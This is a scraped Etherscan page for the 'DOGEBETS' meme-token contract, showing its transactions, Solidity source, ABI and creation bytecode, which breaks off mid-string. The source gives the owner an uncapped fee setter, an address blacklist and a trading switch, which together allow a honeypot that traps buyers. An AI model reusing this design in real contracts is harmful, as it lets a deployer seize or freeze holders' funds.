Feature Tip: Add private address tag to any address under My Name Tag !
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 97 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 18399821 | 304 days ago | IN | 0 ETH | 0.00066764 | ||||
Approve | 18344424 | 312 days ago | IN | 0 ETH | 0.00031813 | ||||
Approve | 18214912 | 330 days ago | IN | 0 ETH | 0.00114618 | ||||
Approve | 18211406 | 331 days ago | IN | 0 ETH | 0.00043327 | ||||
Approve | 18209459 | 331 days ago | IN | 0 ETH | 0.00030547 | ||||
Approve | 18209452 | 331 days ago | IN | 0 ETH | 0.00032529 | ||||
Approve | 18208072 | 331 days ago | IN | 0 ETH | 0.00031025 | ||||
Approve | 18207882 | 331 days ago | IN | 0 ETH | 0.00036395 | ||||
Approve | 18207869 | 331 days ago | IN | 0 ETH | 0.00035876 | ||||
Approve | 18207865 | 331 days ago | IN | 0 ETH | 0.00037359 | ||||
Approve | 18207846 | 331 days ago | IN | 0 ETH | 0.00053951 | ||||
Approve | 18207828 | 331 days ago | IN | 0 ETH | 0.0005015 | ||||
Approve | 18207821 | 331 days ago | IN | 0 ETH | 0.00049222 | ||||
Approve | 18207817 | 331 days ago | IN | 0 ETH | 0.00067843 | ||||
Approve | 18207809 | 331 days ago | IN | 0 ETH | 0.00030422 | ||||
Approve | 18207808 | 331 days ago | IN | 0 ETH | 0.00049921 | ||||
Approve | 18207807 | 331 days ago | IN | 0 ETH | 0.00052677 | ||||
Approve | 18207807 | 331 days ago | IN | 0 ETH | 0.00052577 | ||||
Approve | 18207803 | 331 days ago | IN | 0 ETH | 0.00069346 | ||||
Approve | 18207683 | 331 days ago | IN | 0 ETH | 0.00054459 | ||||
Approve | 18207679 | 331 days ago | IN | 0 ETH | 0.00056611 | ||||
Approve | 18207619 | 331 days ago | IN | 0 ETH | 0.00038021 | ||||
Approve | 18207589 | 331 days ago | IN | 0 ETH | 0.00045161 | ||||
Approve | 18207527 | 331 days ago | IN | 0 ETH | 0.00022804 | ||||
Approve | 18207516 | 331 days ago | IN | 0 ETH | 0.0004879 |
Latest 25 internal transactions (View All)
Advanced mode:
Parent Transaction Hash | Block | From | To | |||
---|---|---|---|---|---|---|
18209467 | 331 days ago | 0.00575418 ETH | ||||
18209467 | 331 days ago | 0.00575418 ETH | ||||
18207883 | 331 days ago | 0.00722461 ETH | ||||
18207883 | 331 days ago | 0.00722461 ETH | ||||
18207804 | 331 days ago | 0.01184255 ETH | ||||
18207804 | 331 days ago | 0.01184255 ETH | ||||
18207707 | 331 days ago | 0.03127775 ETH | ||||
18207707 | 331 days ago | 0.03127775 ETH | ||||
18207643 | 331 days ago | 0.02047589 ETH | ||||
18207643 | 331 days ago | 0.02047589 ETH | ||||
18207547 | 331 days ago | 0.07154294 ETH | ||||
18207547 | 331 days ago | 0.07154294 ETH | ||||
18207443 | 331 days ago | 0.04012472 ETH | ||||
18207443 | 331 days ago | 0.04012472 ETH | ||||
18207412 | 331 days ago | 0.09209003 ETH | ||||
18207412 | 331 days ago | 0.09209003 ETH | ||||
18207401 | 331 days ago | 0.07477366 ETH | ||||
18207401 | 331 days ago | 0.07477366 ETH | ||||
18207401 | 331 days ago | 0.19212686 ETH | ||||
18207401 | 331 days ago | 0.19212686 ETH | ||||
18207401 | 331 days ago | 0.26953495 ETH | ||||
18207401 | 331 days ago | 0.26953495 ETH | ||||
18207351 | 331 days ago | 0.19784682 ETH | ||||
18207351 | 331 days ago | 0.19784682 ETH | ||||
18207335 | 331 days ago | 0.17728213 ETH |
Loading...
Loading
Contract Name:
DOGECOIN
Compiler Version
v0.8.9+commit.e5eed63a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-09-23 */ /* DogeBets, the crypto-craze that's making even your grandma consider a career in high-stakes gambling! This cheeky cryptocurrency has joined forces with Telegram to bring you a casino experience so smooth, even your grandma's bingo night feels outdated! Telegram - https://t.me/dogebetsportal Twitter - https://x.com/dogebetserc20 Web - https://dogebets.net */ //* SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract DOGECOIN is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "DOGEBETS"; string private constant _symbol = "MUCHBETS"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 25; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 40; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x5f311781a790684c4Cd55aDdf34aCC9ABDe66ed3); address payable private _marketingAddress = payable(0x5f311781a790684c4Cd55aDdf34aCC9ABDe66ed3); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 2 * (_tTotal/100); uint256 public _maxWalletSize = 2 * (_tTotal/100); uint256 public _swapTokensAtAmount = 5 *(_tTotal/1000); event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function blockSingleBot(address thebot) public onlyOwner { bots[thebot] = true; } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_buyMap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"blockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"thebot","type":"address"}],"name":"blockSingleBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"setTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"unblockBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052670de0b6b3a76400006000196200001c9190620007b2565b6000196200002b919062000819565b600655600060085560196009556000600a556028600b55600a54600c55600b54600d55600c54600e55600d54600f55735f311781a790684c4cd55addf34acc9abde66ed3601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550735f311781a790684c4cd55addf34acc9abde66ed3601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601560146101000a81548160ff02191690831515021790555060006015806101000a81548160ff0219169083151502179055506001601560166101000a81548160ff0219169083151502179055506064670de0b6b3a76400006200016b919062000854565b60026200017991906200088c565b6016556064670de0b6b3a764000062000193919062000854565b6002620001a191906200088c565b6017556103e8670de0b6b3a7640000620001bc919062000854565b6005620001ca91906200088c565b601855348015620001da57600080fd5b506000620001ed6200074860201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060065460026000620002a26200074860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200038157600080fd5b505afa15801562000396573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003bc919062000957565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200041f57600080fd5b505afa15801562000434573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200045a919062000957565b6040518363ffffffff1660e01b8152600401620004799291906200099a565b602060405180830381600087803b1580156200049457600080fd5b505af1158015620004a9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004cf919062000957565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160056000620005256200075060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620006d26200074860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a7640000604051620007399190620009d8565b60405180910390a350620009f5565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620007bf8262000779565b9150620007cc8362000779565b925082620007df57620007de62000783565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620008268262000779565b9150620008338362000779565b925082821015620008495762000848620007ea565b5b828203905092915050565b6000620008618262000779565b91506200086e8362000779565b92508262000881576200088062000783565b5b828204905092915050565b6000620008998262000779565b9150620008a68362000779565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620008e257620008e1620007ea565b5b828202905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200091f82620008f2565b9050919050565b620009318162000912565b81146200093d57600080fd5b50565b600081519050620009518162000926565b92915050565b60006020828403121562000970576200096f620008ed565b5b6000620009808482850162000940565b91505092915050565b620009948162000912565b82525050565b6000604082019050620009b1600083018562000989565b620009c0602083018462000989565b9392505050565b620009d28162000779565b82525050565b6000602082019050620009ef6000830184620009c7565b92915050565b613cdb8062000a056000396000f3fe6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c3c8cd8011610064578063c3c8cd801461066e578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063be1aa3cd14610608578063bfd7928414610631576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612d22565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612df3565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612e4b565b61087b565b6040516102649190612ea6565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f9190612f20565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba9190612f4a565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f65565b6108cf565b6040516102f79190612ea6565b60405180910390f35b34801561030c57600080fd5b506103156109a8565b6040516103229190612f4a565b60405180910390f35b34801561033757600080fd5b506103406109ae565b60405161034d9190612fd4565b60405180910390f35b34801561036257600080fd5b5061036b6109b7565b6040516103789190612ffe565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190613019565b6109dd565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613072565b610acd565b005b3480156103df57600080fd5b506103e8610b7f565b005b3480156103f657600080fd5b50610411600480360381019061040c9190613019565b610c50565b60405161041e9190612f4a565b60405180910390f35b34801561043357600080fd5b5061043c610ca1565b005b34801561044a57600080fd5b506104656004803603810190610460919061309f565b610df4565b005b34801561047357600080fd5b5061047c610e93565b6040516104899190612f4a565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b49190613019565b610e99565b6040516104c69190612f4a565b60405180910390f35b3480156104db57600080fd5b506104e4610eb1565b6040516104f19190612ffe565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c9190613072565b610eda565b005b34801561052f57600080fd5b50610538610f8c565b6040516105459190612f4a565b60405180910390f35b34801561055a57600080fd5b50610563610f92565b6040516105709190612df3565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b919061309f565b610fcf565b005b3480156105ae57600080fd5b506105c960048036038101906105c491906130cc565b61106e565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612e4b565b611125565b6040516105ff9190612ea6565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a9190613019565b611143565b005b34801561063d57600080fd5b5061065860048036038101906106539190613019565b611233565b6040516106659190612ea6565b60405180910390f35b34801561067a57600080fd5b50610683611253565b005b34801561069157600080fd5b506106ac60048036038101906106a79190613133565b61132c565b6040516106b99190612f4a565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e4919061309f565b6113b3565b005b3480156106f757600080fd5b50610712600480360381019061070d9190613019565b611452565b005b61071c611614565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a0906131bf565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd6131df565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108329061323d565b9150506107ac565b5050565b60606040518060400160405280600881526020017f444f474542455453000000000000000000000000000000000000000000000000815250905090565b600061088f610888611614565b848461161c565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6